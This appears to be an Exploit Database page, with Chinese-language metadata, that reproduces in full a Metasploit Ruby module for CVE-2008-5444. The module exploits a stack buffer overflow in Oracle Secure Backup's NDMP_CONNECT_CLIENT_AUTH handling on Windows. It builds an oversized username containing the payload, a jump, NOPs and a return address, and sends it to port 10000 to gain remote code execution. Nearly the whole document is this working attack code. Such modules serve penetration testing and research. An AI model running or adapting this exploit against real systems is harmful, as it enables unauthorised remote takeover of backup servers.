Oracle Secure Backup – NDMP_CONNECT_CLIENT_AUTH Buffer Overflow (Metasploit)

• Exploit Database
• 7 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16343/

• ##
  # $Id: osb_ndmp_auth.rb 9262 2010-05-09 17:45:00Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::NDMP
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Oracle Secure Backup NDMP_CONNECT_CLIENT_AUTH Buffer Overflow',
  			'Description'=> %q{
  					The module exploits a stack buffer overflow in Oracle Secure Backup.
  				When sending a specially crafted NDMP_CONNECT_CLIENT_AUTH packet,
  				an attacker may be able to execute arbitrary code.
  			},
  			'Author' => [ 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9262 $',
  			'References' =>
  				[
  					[ 'CVE', '2008-5444' ],
  					[ 'OSVDB', '51340' ],
  					[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html' ],
  				],
  			'Platform' => 'win',
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 1024,
  					'BadChars' => "\x00",
  					'StackAdjustment' => -3500,
  					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
  				},
  			'Targets'=>
  				[
  					[ 'Oracle Secure Backup 10.1.0.3 (Windows 2003 SP0/Windows XP SP3)',{ 'Ret' => 0x608f5a28 } ], # oracore10.dll
  				],
  			'DisclosureDate' => 'Jan 14 2009',
  			'DefaultTarget' => 0))
  
  		register_options([Opt::RPORT(10000)], self.class)
  	end
  
  	def exploit
  		connect
  
  		print_status("Trying target #{target.name}...")
  
  		ndmp_recv()
  
  		username =rand_text_alphanumeric(3789 - payload.encoded.length)
  		username << payload.encoded + Rex::Arch::X86.jmp_short(6)
  		username << make_nops(2) + [target.ret].pack('V') + [0xe8, -850].pack('CV')
  		username << rand_text_alphanumeric(5000 - 3793 - payload.encoded.length - 8 - 5)
  
  		password = rand_text_alphanumeric(rand(25) + 1)
  
  		# Create the authentication request
  		auth = [
  				0, # Sequence number
  				Time.now.to_i, # Current time
  				0, # Message type (request)
  				0x901, # Message name (connect_client_auth)
  				0, # Reply sequence number
  				0, # Error status
  				1# Authentication type
  			].pack('NNNNNNN') +
  			[ username.length ].pack('N') + username +
  			[ password.length ].pack('N') + password +
  			[ 4 ].pack('N')
  
  		print_status("Sending authentication request...")
  		ndmp_send(auth)
  
  		handler
  		disconnect
  	end
  
  end